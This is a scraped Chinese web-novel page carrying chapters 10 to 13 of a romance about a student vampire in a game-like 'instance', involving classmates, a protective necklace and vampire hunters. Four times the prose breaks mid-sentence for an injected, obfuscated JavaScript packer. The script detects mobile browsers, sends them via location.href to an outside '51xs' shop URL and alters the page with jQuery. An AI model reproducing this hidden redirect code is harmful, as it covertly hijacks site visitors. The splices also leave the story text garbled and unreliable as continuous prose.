随即便是拳头砸在骨头的闷响,宋呈一拳将面具男打翻在地,他不知道撞在了什么地方,又发出一声响。 面具男的身手并不差,哪怕被撞到头,也并没有反应多久,就迅速起身,从后腰掏出匕首。 月光在刀面上折射出一道寒光,森森冒着冷意。 回神的枣芩要开口阻止已经来不及,那冷意直冲宋呈,宋呈察觉到躲闪到一侧。 枣芩挪动身体准备下床,想起身去帮忙,可他更怕自己帮倒忙,反倒连累宋呈,垂下眼睛的瞬间,鼻尖萦绕了种熟悉的勾人魂魄的香气。 ——是浓重新鲜的血液的味道。 身体中属于吸血鬼的食欲躁动起来,枣芩忙用手臂捂住自己的鼻子,阻止更多的气味进入自己的嗅觉。 可惜刚刚过度的心跳,再加上近距离血腥的刺激,他已经舔到了自己上面冒出来的两颗尖牙。 眼下的情况危机,枣芩想跑出去是不可能,还有可能被两人误伤,他只能寄希望于宋呈快点将坏人打跑。 宋呈心中汹涌的愤怒几乎将他淹没,推开门在月光下,高大的男人趴在枣芩身上的场景,让他瞬间目眦欲裂,恨不得杀了对方。 或许愤怒就是会激化人的力量,宋呈感受不到自己伤口的疼痛,从系统空间拿出一把刀与对方搏斗。 在他趁机从门跑走时,宋呈并没有追上去。 而是到枣芩身边,握住他的肩膀,忙问:“有没有事?” · 枣芩醒来的时候精神充沛,伸了个懒腰,只觉得睡了个非常圆满的觉,没有做梦很是安心。 他醒得早,天蒙亮。宿舍的窗帘大敞着。 宋呈很难得在睡觉,头对着枣芩这边,黑发、鼻梁高挺。 昨晚的一切还在眼前,但不知为什么,那种难受却变得很淡,仿佛距离他隔了一层看不见的膜,再代入不进去。 对于自己的父母根本不存在这件事,好像只是件正常的事。 他记得他们从校门离开后,他被宋呈背着去了学生会,想到这里,拉开了序幕之后的一切都如潮水般涌上来。 枣芩坐在自己的小窝里,低头难以置信闭了闭眼,又躺回去,他合上眼睛。 这一定是梦…… 可是嘴唇传来微妙的麻意,提醒着他那些都是真实发生在他身上的。 他下意识抿了下唇,又赶紧松开,他感觉自己的嘴巴都不是自己的了。 枣芩摸了一下,鼓鼓的,他以前没注意自己的嘴巴到底鼓不鼓,还是被亲鼓起来的。顿时有点想哭。 想寻求安慰,都没人可以倾诉。 如果传到那种很八卦的人耳朵里,肯定又会传起来“那个枣芩,他好随便的,谁都可以亲他嘴巴。”之类的话。 【系统……】 系统依旧是平静的男性嗓音:【嗯,在的。】 【哎,算了。。你都不是人。】 系统:【?】 枣芩忽然想到什么,从被脱下的外套口袋中找到手机,把亮度往高调了点。 打开血族交流平台,中二少年的头像果然是亮着的,肯定是通宵了,现在的中二少年都很晚睡。 【我是一棵小树苗:我好倒霉。】 其实短暂纠结了那么几秒,但耐不住枣芩真的需要来个人安慰他一下,需要一个情绪的出口。 【烬:?】 问号? 别人说这样的话,你不应该说“没事吧”“怎么了?”。 一个问号把枣芩的倾诉欲望打回去了,他翻了个身,心里闷闷的。 【我是一棵小树苗:算了,你不懂。】 【烬:不可能。】 李知樾此时正坐在去公司的车上,他说这话不是在撒谎,他不相信对方说的什么是他不懂的。 他从小在任何需要竞争的地方,只要有他,第二名才是别人需要竞争的。 只是, 【我是一棵小树苗:我被人亲了】 李知樾皱起眉,‘亲’这种字眼,对他来说有些陌生。点开这人的头像,被刺伤了眼睛,又迅速点退。 【烬:你感到开心?】 枣芩一口气差点没上来。 【我是一颗小树苗:??你才开心!我嘴巴好疼,我不是自愿的!】 【我是一颗小树苗:可恶死了。】 【烬:。】 哦。 【我是一棵小树苗:你也讨厌死了,就会发标点符号,不认识拼音吗?】 李知樾:? 他第一次见小树苗性格这么坏的家伙,莫名其妙生气就算了,还对着他这个无辜的人发泄情绪,骂人都不会,只会说讨厌、可恶。 他没忍住勾起唇角。 【烬:笨】 察觉到自己莫名的情绪,他神色停顿一秒。 一个两秒的语音突然弹出。 点开语气的瞬间,手机便播放出声音,压抑着恼怒的声音从手机播放器传出,“你才笨啊。” 但因为声音太软,还被他压得轻轻的,连骂人都没有什么威慑力。 前排的司机在车内后视镜往后看了眼,李知樾眼神扫过去,司机立即收回视线。 李知樾拉起隔板,鬼使神差又点了次,“你才笨啊。” “你才笨啊。” “你才笨啊。” …… 本来没有那么疼的嘴唇,因为自己一直觉得疼的心理因素,再加上忍不住舔咬,变得更疼了,到最后肿得愈发显眼。 秦子率拉着枣芩说要陪他吃饭,他们走出去刚关上门门就又开了,宋呈额发散着,不远不近的与他们隔着几米。 可这是唯一的一条路,并不能认为宋呈是在跟着他们。 秦子率绿眸瞥了眼,收回视线。 他的胳膊与枣芩的胳膊前后贴着,比起慢他们一步的宋呈,明显亲密很多。 他侧过头,“芩芩……”??落在枣芩脸上,他视线忽然顿住,眉心皱起,把枣芩看得一愣,“?” 秦子率狐疑地靠近,指着他自己的嘴唇,问枣芩,“你的嘴唇怎么这么肿,好像都有点破了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986210|137060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他探究的视线投过来,枣芩忙抿住自己的嘴巴。 他可没有勇气把昨晚的事情告诉秦子率,而且要怎么说,就说晚上偷偷跑出去被不知道什么男人亲的吗? 听起来也太怪了…… 他若无其事摇摇头,避开对方的视线,“没有事,我自己咬的。” 可是男人一直凑上来,都快凑到枣芩脸上了,没有丁点边界感。 “干嘛……”枣芩侧着脸躲开,见他还要凑过来,脸颊染上一点红晕,“你再这样我就生气了!” 听他这么说,秦子率直起了腰,扯唇笑:“我就是看着,就像是被人亲的一样。” 被说中了的枣芩一下睁大眼睛,瞪着他,“你说什么呢!怎么造谣我?讨厌死了秦子率。” 他推了把挡在前面的秦子率,没推开,神色尴尬了秒,自己绕了个道,快步往前走。 秦子率把人弄生气了,又腆着脸跟上去,没有一点脾气,“我瞎说的,芩芩,以后不要这么咬了,看起来好疼啊。” 被遗忘在后面的宋呈凝视着两人打闹的身影。 脑海中不断盘旋着一个画面,枣芩被压在床上,身形比他大一号的男人趴在上面亲吻他的脖颈,他委屈的呜咽出声。 那男人无比可憎,他恨不得杀了对方,只是在昨晚的梦里,那人却变成了自己的脸。 他的心,好像被枣芩用了什么道具。 不然为什么他会那么气愤,此时看着秦子率那个插足者和枣芩站在一起的身影,他心头为什么这么躁闷,仿佛被煤盖着的暗火,只需拨开就会烧起来。 秦子率毕竟和他们不是同一班的,吃过饭都没把枣芩送到教室,就离开了。 宋呈走在枣芩身侧,代替秦子率的位置,安静的走着,好一会才说:“昨晚我找到吸血鬼杀人的线索了。” 枣芩原本正在发呆,听到他这么说,抬起头张大眼睛,“真的?” 他灼热剔透的视线让宋呈躲闪一下,点头,“当然真的。” “那,能告诉我吗?”枣芩试探问了句,不敢确定宋呈会不会告诉他。 枣芩没忘记自己的任务,他要找出吸血鬼,他要去到外面,离开这个虚假的副本。 宋呈点头,“吸血鬼很有可能来自a区。我第一天看过除了出校门的门以外,ab之间也有一道门。而且他们杀人不是随机,而是有顺序的。” 前面的枣芩自己也知道,所以注意力都放在了后面的那句话,枣芩问:“什么顺序?” 宋呈转头对上他的视线,缓缓吐出四个字,“学习成绩。” 站在教学楼大厅,身后人来人往。 墙上有一张巨大的电子成绩表,包含了b区所有学生成绩,形成一个排行榜。 而这个成绩表在a区是没有的。 枣芩呆滞地看着最后一排角落里的两个字「枣芩」,大白日浑身发寒,眼泪差点掉下来。 怎么会这样,他明明记得他是倒数好几名的,怎么突然就成全校倒数第一了?? 宋呈仿佛知道他在想什么,声音淡淡陈述,并没有故意吓唬他的意思,“被杀的名字就会从这里消失,你很危险。” “……” ? “怎么可能……我可”后面的话枣芩没有说出口。 他可是血族,他们是同族,应该不会杀他的吧。 枣芩心里其实没底,血族杀血族的先例不少。 手掌摸上枣芩的纤薄的肩头,一个安抚性的动作,对他来说多少有些违和。 枣芩并没注意,他眼中透着惊慌,一副对于自己生命安全受到威胁的可怜样。 可宋呈眼前却浮现他的另一种样子,贪婪的委屈的餍足的,挥之不去。 宋呈喉结往下压,看到自己手上的伤口,此时已经和昨晚不同,结了痂。 “我能保护你。” 11. 第 11 章 虽然枣芩已经忘记昨夜宋呈是怎么对付面具男的,但从自己安全回到宿舍就证明是宋呈赢了。 看着此时在左肩经络明晰而有力的手,他眼睛眨了眨,胡乱的权衡利弊。 若是能跟着宋呈的话,成功的几率肯定会更高,只是唯一奇怪的是,为什么宋呈对他忽然转变了态度。 太可疑了。 枣芩悄悄打量宋呈,宋呈之前对他的嫌恶态度让他无法信任宋呈,小声试探:“你不讨厌我了吗?” 宋呈僵了一瞬,想说什么。 可是枣芩接着道:“我之前听到了,那个大个子说要碰我。”说最后两个字的时候,枣芩难免有些尴尬,低下脸不想让宋呈看到,咬了下唇肉。 “你说不关你的事……好像很讨厌我,现在又说保护我……” “不是!”宋呈瞳孔紧缩,短促否认。 枣芩听见了。 他再要说什么,都说不出来了,因为那确实是他嘴里说过的话,无法反驳。 他就是说过,哪怕枣芩被人强迫碰了,也不关他的事。而枣芩就躲在附近,全都听进去了。 可他不是这么想的,哪怕是在当时,他也没想过枣芩被钟佐欺负的可能性,一点都没有想过。 他只是不愿意承认,他对这个副本中又笨又娇气的npc有过度的在意。忍不住看向他的方向,观察他的表情,嗅闻他的气味。 “没有讨厌你。” ——是喜欢你。 “想保护你也是真的。” 宋呈手指上挂着一条项链,是从系统空间拿出来的。 在枣芩微张着唇,怔愣表情下,个子高一块的男人凑过去像将他搂在怀里,动作很慢的将项链戴在枣芩纤白脖颈上。 在枣芩耳边,声音柔和的像是错觉,“它会保护你,相信我。” 枣芩垂眼抚摸着项链上深蓝色不规则小宝石,白皙的手指衬得更白,宝石是深海的颜色,漂亮是漂亮的,不知道管不管用。 【系统,这个真的可以保护我吗?】 系统:【检测为,海妖的项链——s级道具。不会被毁掉,灵魂绑定。功能1.阻隔一切探究。2.三次副本内无上限保护罩,保护宿主不受侵害。】 【?无上限,是任何伤害都可以阻挡的意思吗?】 【是的。】 系统话语落下,枣芩眼睛睁大,他没想到宋呈居然这么大方,直接给他了。 这岂不就是多了三条命吗? 枣芩占了便宜,脸颊因为开心泛起羞赧的粉,眼睛亮晶晶看着刚刚给他戴完项链,还仿佛半搂着他的宋呈,“真的给我了吗?这个项链。” 宋呈呼吸微窒,忽然福至心灵,故作平静,“嗯,以前去了很多副本,道具多得用不了,什么样的都有,全堆在系统空间了。” 他没在意为什么枣芩对系统空间这四个字没有好奇。 “哥哥,你好厉害啊。”枣芩拽住他的衣角。 距离近得一呼一吸都是枣芩身上的香味,近在咫尺红润的唇,白净的锁骨。宋呈感觉自己有点头晕。 【宝宝啊呃呃啊,老婆泥怎么能叫别人哥哥】 【宝宝就是宝宝呀。。宝宝是不可以变成老婆的,变成老婆了你就再也不能坦率地挽起他的小手了。。如果变成老婆了就只能在夜晚一起缩在被子里再钻进欲望与爱的温床了。。所以宝宝只能是老婆。。哦不。。。我是说。。所以老婆只能是宝宝。。抱歉。。我是说。宝宝。。。】 【不是大哥,你说给就给了,那可是海妖的项链,当个人不好吗,为什么非要当狗。像我,这辈子是不可能当舔狗的,我只当老公。。】 【只有我注意到宝宝听到了那些话肯定很难受,心疼疼】 班里出现了很怪异的场景,之前追宋呈追的热火朝天的枣芩像是成功了。 上午的几节课,一到课间就贴在宋呈旁边,坐在旁边的椅子上。寸步不离跟块小黏糕似的,一个小跟屁虫。 几个男生坐在一起,用一种怪异的,不算友好的眼神注视着两人的方向。宋呈察觉到视线看过去,几人与他对视僵持,许久才不情不愿收回目光。 他记得他们,有次宋呈看到他们和枣芩在一起吃饭,其中一个把枣芩逗得直忍不住笑。 而枣芩此时正软绵绵趴在他的桌子上,左手臂随意伸展,脸颊放在右手背上,软肉稍微挤着嘴巴,视线定在一处发呆。 宋呈轻轻触碰上他的手指。 枣芩从和系统的对话中出来,抬起脸看他,环顾四周:“怎么了?” 他刚刚正在和系统讨论他这么几个小时内,从宋呈那里弄的道具都有哪些作用。 宋呈笑了下,“没事,就是汇报一下,我要去卫生间了。” · 枣芩不想上厕所,就在外面洗了个手。 进出厕所的人原本还在和自己的朋友说话,在看到枣芩后都忽然安静下来,没了声。 枣芩心情好,在发现他们在看自己后就笑了下。 洗完手烘干到一半,手腕忽然被人握住,在他还在发懵的情况下,被人不轻不重拽出去,带到了不远的一间空教室。 这间教室之前是钢琴室,但b区这边的学生实在没几个会弹钢琴,这间教室也就被空置了下来。 枣芩打量着这间教室,有些莫名其妙,如果不是秦子率他早就要挣脱了。 他挣开自己的手腕,有些不悦,“你带我来这里干嘛?快上课了,宋呈出来肯定要找我。” “找你?”秦子率的眉头立即皱了起来,他不刻意温柔的情况下,看起来很严肃。 他顿了两秒,艰涩开口:“他真的答应你了?像你们同学说的那样。” “什么?”枣芩一愣。 不等他反应过来秦子率在说些什么,秦子率又说:“他这人当面一套背后一套,肯定是想骗你,你难道忘记,那天他还把你的腿摔伤,是我给你上的药。” 说完,他一错不错盯着枣芩,等待他的回答。 枣芩嘴巴抿着,他当然没有忘记,他腿上现在都有痕迹。 可是那天说到底也是自己那么做的原因,当然这不能和秦子率说。 “其实那天我也有错,而且,也没有摔的很严重,他也是不小心,不是故意的。” 说着,他弯腰拽了下自己的裤腿,没拽起来,卖可爱吐了下舌头,“其实现在已经好得差不多了。” …… “你真是被他弄傻了。”秦子率冷着一张脸,瞳孔微眯,散发着疏离与危险,“你们是不是好上了?” 高大的身形,浓眉大眼的深邃五官,好像……下一秒就会打他一样。 枣芩脸上的笑容消退,被秦子率的反应弄得退了一步,都没注意到他在说什么。 心中的委屈劲不管不顾泛上来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986211|137060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么压都压不住。 如果别人对他,他也不会这么难受,可是对方是一直对他很温柔的秦子率。 自从他们开始熟悉的那一天起,就一直对他很好,还总会夸他。 尤其是,秦子率在看别人时的眼神和看他的时候是截然不同的,好像他是特别的。 可是现在他被秦子率用和看别人一样的眼神看着了,特别凶,好像枣芩做了什么错事。 不该委屈的,别人也没有义务一直对你好。 枣芩对自己这么说,转头想要出去。 秦子率不可能让人走,立即用身体挡住了他的去路,声音低哑,“跟他在一起,就话都不愿意跟我说了?” 说出这句话,枣芩还是低着头一言不发,手指攥在一起,安静的让秦子率心慌。 他察觉不对劲,是看到地板上落下了一滴湿痕,缓缓氤开。 他吞咽口水,都不知道该怎么动作。 “芩芩?”他喊了一声后,才听到一声小到几乎听不见的吸鼻子的声音。 手忙脚乱想要抬起对方的脸又不敢,只能自己低头去看,就像是小学班里最调皮的男生将同学气哭,然后低着头去看是不是真哭了。 秦子率果然看到一张湿红的脸,睫毛濡湿,饱满的嘴唇被死死抿着,不发出声音,但细微抽泣的声音还是无法控制溢出来。 他把枣芩弄哭了。 秦子率胸腔内被一种说不清的情绪充盈,忙上前哄人,“怎么哭了,都怪我说话太难听了……” “我不说了好不好?我就是不想你被他骗了。” 他自认为自己也算巧言令色之辈,可是看枣芩流眼泪却什么都说不出来了,平时的功夫好像都消失得无影无踪。 枣芩的眼泪是控制他的致胜武器。 枣芩撅着嘴,眼底的湿意已经停止往外涌了,只睫毛还湿润,他也很莫名其妙自己突然控制不住情绪。 看着秦子率这幅哄他的样子,只觉得窘迫,但为了不更尴尬,他只能接着装哭。 被一句话哄好也太奇怪了。 他捂住自己的脸,结果秦子率更慌了,蹲下又起来,围着他转圈。 一切都僵持着,秦子率如同一只气躁的动物般,全身的肌肉绷着。 “我就是看你跟他一起心里很不舒服…”秦子率的声音自头顶响起,像是泄了气。 枣芩一时都忘记了装哭,微微抬眼,用闷闷的声音问:“关你什么事情?” 他跟宋呈走在一起跟秦子率有关系吗? …… 这句话好像惹到了他,秦子率胸膛起伏几下,深绿野性的眼睛直勾勾盯着枣芩。 接着又被他压下去,他胸口气闷难受,一切都不管不顾了,丧气道:“因为喜欢你。因为很喜欢你,不想看你跟他走在一起。” 机关枪一般,嘴里的话越说越多,突突往外冒,“而且你喜欢别人就算了,他…………” 枣芩已经听不到后面秦子率贬损宋呈的话了,听到这句喜欢愣住,抬起头去看秦子率还在胡乱说着什么。 他英俊硬朗像大型犬一样的脸上,每一寸肌肉都极力表现出自己的真诚,不像是在说假话逗他玩。 这还是第一次有人说喜欢自己。 枣芩指指自己,声音瓮声瓮气,“喜欢我是那种喜欢吗?还有你刚刚说我和宋呈。”: “谁说我们在一起了?” 12. 第 12 章 秦子率呆愣几秒,“没有?” 随即枣芩没反应过来,就被他抱了个满怀,紧紧箍住,枣芩控制不住扬起脖颈,都有些喘不过气来。 秦子率话语中酸味盖也盖不住,“我刚听别人说你们在一起了,下来拿资料就看见你们走在一起,你还一直跟着他,和他说话。” 枣芩推着他的硬邦邦的胸口,推了几下没退开,雪白脸颊染上气恼的红,嘴巴微颤,“就算这样,又跟你有什么关系,不知道哪里听到的假话……就来朝我发脾气!” 他喘着气,“你根本就是觉得我好欺负,是你的囊中之物,被别人抢了才会生气,然后不敢去找他,只敢欺负我。” 枣芩说着说着,感觉自己真的受了好多委屈,没忍住抽了下鼻子。 他说的几句话把秦子率吓得瞬间松开了他,急切解释:“不、不是,我没有把你当我的囊中之物,也没有不敢去找他。” 被攻击的点太多,他都不知道从哪块开始解释了。 脖子根急得发红,浑身出了层虚汗,“我是把我当你的囊中之物,你明明、你怎么、就算是主人忽然养了别的狗,原住狗也能问问吧,而且宋呈那样的。” 他呵了声,“我一个能揍他十个,我怎么会不敢去找他,我就是不屑和他说话。” 枣芩鼻尖耸耸:“哦。” 他侧身要走。 秦子率闪身去挡他,又不太敢挡,枣芩一停下,他就让开一旁,“别生气了,你让我做什么我都愿意,好不好。” 枣芩看了眼满脸急色的秦子率,随口道:“那你能帮我回a区吗?” 其实并没有抱什么期待,只是这快成为他的执念了,才脱口而出。 可是没想到,废弃教室安静两秒后,秦子率开口说:“行。” 枣芩抬起脸,惊讶看向他。 不是惊讶秦子率答应,而是惊讶他居然能做到。 琥珀色如同摔碎的玻璃反射着光的瞳孔,嫩白肤色上泛粉的鼻尖眼尾,嘴巴水润润,那样专注盯着他,在这个除了他们外空无一人的废弃教室。 秦子率愣神一秒,嘴一张,脱口而出真心话,“那你要跟我谈恋爱。。” 在枣芩几秒没回答后,他又扯了扯嘴角,“我开玩笑、” “好。”枣芩眉头皱了下,点点头。 秦子率:??! 枣芩一直知道别人帮你,不是利益就是情谊。 之前要做的事情,现在好像成功了,只是换了个人选。 他不知道这一个字对于心脏忐忑的秦子率来说是什么样的威力,溺在深海的人接触到空气,他自己都没有想到。 他觉得才是被枣芩弄傻了,因为他几句话心情大起大落,偏偏心里还酸酸甜甜。 枣芩双脚突然悬空,被人搂着像是低龄偶像剧一样转圈圈,他吓得搂住秦子率的脖子,趴在他肩膀上:“你又要干什么?” 秦子率像是被馅饼砸了头,紧紧搂着枣芩的腰,几乎是贴着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986212|137060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枣芩在他面前的胸口,把脸凑上去,“那芩芩,我是你男朋友了。” 这个世界真是迷幻,昨天的他还根本不敢奢望的,现在已经搂在怀中。 轻轻一点重量,浑身香喷喷的小对象。 尤其枣芩没有反驳他的话,思量片刻点点头,抱着他的脖子更紧了些,胸脯往他鼻尖挤了挤。 疯了。。 秦子率离开的时候,满脸涨红,急匆匆留下一句,“下课去找你。” 短暂的课间时光,枣芩意外拥有了个男朋友。 宋呈正在找他,看到他先后跟秦子率从琴房出来,几步就来到枣芩面前,觑了眼秦子率离开的背影。 他是跑着离开的,偷感十足,却是散发的每一丝气息都是愉悦兴奋。 他冷淡收回视线,枣芩表情还有些许迟钝,呆呆的不知道在想什么。 “你们说了什么?” 枣芩下意识觉得不应该告诉宋呈,他抿抿薄红的唇,讷讷:“嗯……他说下课要来找我。” 不算撒谎,秦子率确实这么说了。 枣芩低头看自己西服外套里面,湿润一小块的布料。 这人为什么亲人衣服啊… · 中午休息时间,秦子率却无法按照承诺来找自己的小男朋友了。 学校来几个穿着黑色制服的警官,个个人高马大,严防死守堵在离开教学区的出口。每个通道都由两名警官一个个检测,就连学生会也被叫去帮忙。 13. 第 13 章 枣芩好奇地惦着脚探头看,只隐约看到两个浑身黑衣的高大男人,其余还没来得看,就又被挡住,还有些失望。 而在得知他们是什么人时,他人已经排在队伍里了。 “听说是来捉吸血鬼的,太好了。” 嘈杂的学生对话声中,这句话突兀闯入枣芩耳中。 他心中警铃大作,眼睛惊愕睁大,脸色瞬间苍白了几度。他后退半步想逃跑,背撞到身后结实的胸口,他迟钝回头看,才反应过来他是和宋呈一起的。 肩膀被大手握住,宋呈声音冷静在耳边,“他们是一个个检查的,都有记录。逃走了只会让人更确定身份。” 枣芩声音微颤,“那怎么办?” 这种关头有人在自己耳旁理性的分析,心中难免对对方有了些许依赖,下意识的求助。 “必须从这里走出去,通过检查,打消他们的怀疑。”宋呈没什么犹豫。 枣芩连忙摇头,带着气音:“不行啊不行。” 肯定通过不了的。 队伍已经移动好几个人,枣芩前面空了一大块,另一边的队伍领先许多也空下来,他终于可以看到前方的情形。 两个警官以及学生会的几个学生守在那里。 那两个警官手中握着长长的猎枪,枪口外沿的位置渡了层银,挨个检测着学生的皮肤,会不会对银质品产生反应。 枣芩没有接触银制品的记忆,但有些东西就是刻在基因里,他强烈地知道自己不能靠近这东西。 本来因为成绩差有生命危险已经够惨的,现在好了,不用被人杀了,因为死到临头了。 再望向宋呈时,枣芩的眼睛像被水浸了遍,水灵灵一层。他抬胳膊要去把项链解下来,“我还是还给你吧。” 枣芩这幅自己马上就死了的样子,惹得宋呈心里泛酸又好笑,将枣芩的细瘦手腕握住,手指轻轻捏了下,“不相信我能保护你吗?” 枣芩微愣。 “有我在怕什么?保持正常就好了。” 宋呈虽然语调不高,却很笃定。 可枣芩还是紧张,脑子乱乱的,一时都没反应过来有什么地方不对劲。 在希望时间过得慢点的时候,它总是飞快。希望他快点的时候,它又慢吞吞爬行。 枣芩说不上自己到底是希望快点还是慢点,总之,很快就轮到了他。 男人皮肤黝黑,一个胳膊有枣芩两个粗,手背上青筋迸着,脉络明显,看着就很吓人。 仿若一头黑熊站在面前。 而枣芩在他面前像只白兔,漂亮、白净、纤瘦。 鼻尖都快要冒汗,枣芩手指无力攥着,勉强扯出一个苦哈哈的笑容,保持镇定。 众目睽睽下。 渡银冰冷的枪口按照流程贴近枣芩的衣服,漫不经心挑起他的校服外套,露出下面的白衬衣,抵在他与皮肤贴近的衬衫上。 枣芩已经感受到了并不严重的灼烧,浑身的注意力好像都集中在那处,他忍不住躲闪,但很快又被抵上。 枪口缓缓挑起衬衫布料,距离细嫩皮肤只剩一点微妙的距离。 完蛋,可恶的宋呈。 枣芩紧闭双眼,胸口起伏地厉害,眼泪把睫毛打湿,但没有流下来。 好像听到了无奈的叹气声。 “芩芩别生气了。”背后传来低哄声音,宛若救命稻草。 一双手贴着枣芩的后背,把衣服按下去,推他往前一步,离开危险区域。 枣芩睫毛一抖睁开眼,回头看向宋呈,背后已经全是冷汗,不清爽的黏在身体上。 “不是故意跟别人说话的,下次不会了。”宋呈轻轻抹去枣芩红润眼尾的一点湿润。 枣芩那不正常到极点的表情,颤抖的身体,没有个合理的理由太可疑了。 主要宋呈怀疑那东西真得碰到他会吓哭。 “宋呈。”低沉的嗓音传来,跟男人的长相很适配,他略带讶异,“你同学?” 宋呈短促顿了下,否认,“恋人。” 宋闵的视线在枣芩身上停留了片刻,只看到了粉粉白白的侧脸,倒看不出没有生气,更像委屈。 不知道是因为被怎么对待了,难过成这样。 他收回视线,对这并不亲密的弟弟客套道:“有时间回家一趟吧。” “知道了,哥。”宋呈淡淡应了声,单手把他小男友的手包住,下了楼梯。 学生没剩几个,每一个看起来都很正常,宋呈接着走流程,表情没什么变化。 身旁关系不错的同事态度懒散用枪头擦过学生的手背皮肤,对着宋闵问:“那是你亲弟?” 宋闵人话少,但别人问他什么一般都会回答,“嗯。专心。” “……还得是你。”同事别别嘴。 宋闵皮肤黑,身材壮,人实诚,是队里有名的老实人。 据说家庭条件很不错,不过之前一直在训练,出来之后又投身工作,连个对象都没有过。 他要是又着好条件,还干着苦活? · 一直到大厅,再看不到宋闵,枣芩才松了紧绷的肩膀,微张着唇呼气,头还有点发晕。 呜呜呜,活下来了! 他靠在梁柱微抬着下巴,“呼”了下。 “你有个哥哥,还是个警察!”枣芩满脸认真,他之前打听过宋呈,完全不知道这个人的存在。 “不是警察,是吸血鬼猎人。”宋呈轻描淡写说出这句话。 …… 枣芩表情空白几秒,满脸呆滞,嘴巴都打结了,“啊,额,不,现在还有吸血鬼猎人啊。” 声音越来越小,故作镇定的问宋呈。 在枣芩眼中这应该是上个世纪的产物,早就消失了才对啊。 宋呈:“不用怕,他不是也没分辨出来吗。” 枣芩点点头,“对,也没有那么厉害嘛!” 他说完话,点头的动作顿住,反应很慢的枣芩终于想起什么,他缓缓抬头看向宋呈。 当时因为太过紧张害怕而忽略的话,在此刻后知后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986213|137060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉的浮现。 宋呈都没有问他为什么这么害怕,就说会没事会保护他。 “怎么了,表情这样。”他说着,准备用指背去摸枣芩的脸,却被躲开。 枣芩发觉自己好像暴露了,明明他自己隐藏的很好才对。 “你怎么知道我……” “本来是不知道的。”宋呈从知道后就没有隐瞒过。 可是忽然想到了什么,眼神还是有些闪躲,避开了枣芩的视线,“只不过。” 只不过昨夜。 宋呈手腕意外被划伤,他没有来得及处理,就急切过去查看枣芩的情况。 黑暗中,他凑得很近,还没来得及询问,就被一双柔软的手臂搂住了脖子往下带。 他只觉得浑身上下僵得不像话,被搂住的脖子仿佛不是自己的了,他没被人做过这样亲密的动作,或许应该做出什么反应来回应枣芩。 抱着他的少年哼哼唧唧的发出声音,像是被那人折磨的害怕,见到他迫不及待来找他寻求安慰,才做出这样的举动。 宋呈看到那人抱着他亲吻,跟狗一样啃,肯定吓坏了枣芩。 他摸着枣芩的头发,艰难的安慰,他实在没有安慰过人,没有秦子率那样的巧嘴,到这种关头,都只能哑着嗓子说一句:“不怕不怕。” 要不是他被引开,绝对不会发生这种事情。 宋呈嘴里重复:“不怕不怕。” 怀中的人丝毫没有被安慰到,那种声音逐渐变得不像是害怕,而是在被折磨,呜咽声中夹杂几声黏糊糊的“要”…… 他终于发觉枣芩不太对劲。 似乎寻觅着什么。 脖子上倏然传来一阵濡湿的热,宋呈喘着粗气浑身一抖,枣芩咬住了他的脖子,但因为力度不大,更像是在亲吻。 心脏要跳出胸腔,胡乱的冲撞。 他喉结往下压了压,拿出手机打开了手电筒。 看到了枣芩不正常的、绯红的脸颊与嘴唇,迷散的双眸,以及那不属于人类的冒出来的两颗小尖牙。 被他照着脸的少年不舒服的挣扎起来,他忙把手机拿开。 …… 宋呈呼吸粗重,坐到床上,枣芩跨坐在他大腿上,他甚至能感受到枣芩的柔软与温度,隔着两层布料。 他将自己被划破的手腕碰到枣芩面前,自愿献祭自己的血液。 枣芩的舌尖探出一点,尝到鲜血后,就咬上了他的伤口。 疼痛对于宋呈来说并不强烈,可是看着枣芩吸食血液,一张脸像妖像魔,还是会让人忍不住迷恋他的那种妖魔。 宋呈吞咽着口水,他收回自己的手腕,枣芩粉红的唇变成了血红,脸上也粘上点,都是他的血。 宋呈怀疑自己是真得疯了,他不受控吻上去,自己血液的味道混杂在黑夜中,可是更多的是枣芩口水的味道。 他按着枣芩的后颈,仿佛要把他按进自己身体里,永远永远不分开。 心中原本就在酝酿的念头越发浓郁,他要把枣芩带走。 14. 第 14 章 